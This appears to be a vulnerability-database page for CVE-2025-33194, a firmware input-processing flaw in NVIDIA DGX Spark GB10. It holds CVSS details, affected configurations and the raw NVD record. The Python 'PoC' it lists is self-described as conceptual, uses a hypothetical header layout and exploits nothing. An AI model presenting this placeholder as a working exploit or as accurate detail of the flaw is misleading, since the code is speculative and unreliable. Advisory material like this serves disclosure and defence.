Security Vulnerability Report
中文
CVE-2025-33194 CVSS 5.7 MEDIUM

CVE-2025-33194

Published: 2025-11-25 18:15:51
Last Modified: 2025-12-02 18:20:26

Description

NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause improper processing of input data. A successful exploit of this vulnerability might lead to information disclosure or denial of service.

CVSS Details

CVSS Score
5.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA DGX Spark GB10 (SROOT固件受影响的版本需参考NVIDIA官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-33194 PoC - NVIDIA DGX Spark GB10 SROOT Firmware Input Validation Issue Note: This is a conceptual PoC for demonstration purposes. Actual exploitation requires physical/local access to the target device. """ import struct import sys def generate_malformed_sroot_input(): """ Generate malformed input data to trigger the SROOT firmware vulnerability. This PoC demonstrates the concept of improper input data processing. """ # SROOT firmware header structure (hypothetical) header = b'SROOT' # Magic bytes version = struct.pack('<I', 0x01) # Version field # Malformed data that could trigger improper processing # In real scenario, this would be crafted based on firmware analysis malformed_data = b'\x00' * 256 # Padding # Trigger condition: specific byte pattern trigger = b'\xFF\xFF\xFF\xFF' # Could cause integer overflow or buffer issues payload = header + version + malformed_data + trigger return payload def send_to_sroot_firmware(target_ip, payload): """ Send malformed payload to SROOT firmware. Requires local access to the device. """ print(f"[*] Target: {target_ip}") print(f"[*] Payload size: {len(payload)} bytes") print(f"[*] Sending malformed SROOT input data...") # In real exploitation, this would interface with device firmware # through debug interfaces, JTAG, or management APIs try: # Placeholder for actual exploitation code # Would typically involve: # 1. Accessing device management interface # 2. Communicating with SROOT firmware # 3. Observing information disclosure or DoS condition print("[-] This PoC requires actual device access and firmware analysis") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-33194 PoC - NVIDIA DGX Spark GB10 SROOT Firmware") print("=" * 60) if len(sys.argv) > 1: target = sys.argv[1] else: target = "localhost" payload = generate_malformed_sroot_input() send_to_sroot_firmware(target, payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33194", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:51.113", "lastModified": "2025-12-02T18:20:26.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA DGX Spark GB10 contains a vulnerability in SROOT firmware, where an attacker could cause improper processing of input data. A successful exploit of this vulnerability might lead to information disclosure or denial of service."}, {"lang": "es", "value": "NVIDIA DGX Spark GB10 contiene una vulnerabilidad en el firmware SROOT, donde un atacante podría causar un procesamiento incorrecto de los datos de entrada. Un exploit exitoso de esta vulnerabilidad podría llevar a la revelación de información o a la denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-180"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:nvidia:dgx_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "40EF912C-72C4-4758-9157-169CE92B33C5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:nvidia:dgx_spark:-:*:*:*:*:*:*:*", "matchCriteriaId": "76975E53-4E5C-4C6D-85D9-EE2879F960DF"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33194", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5720", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33194", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}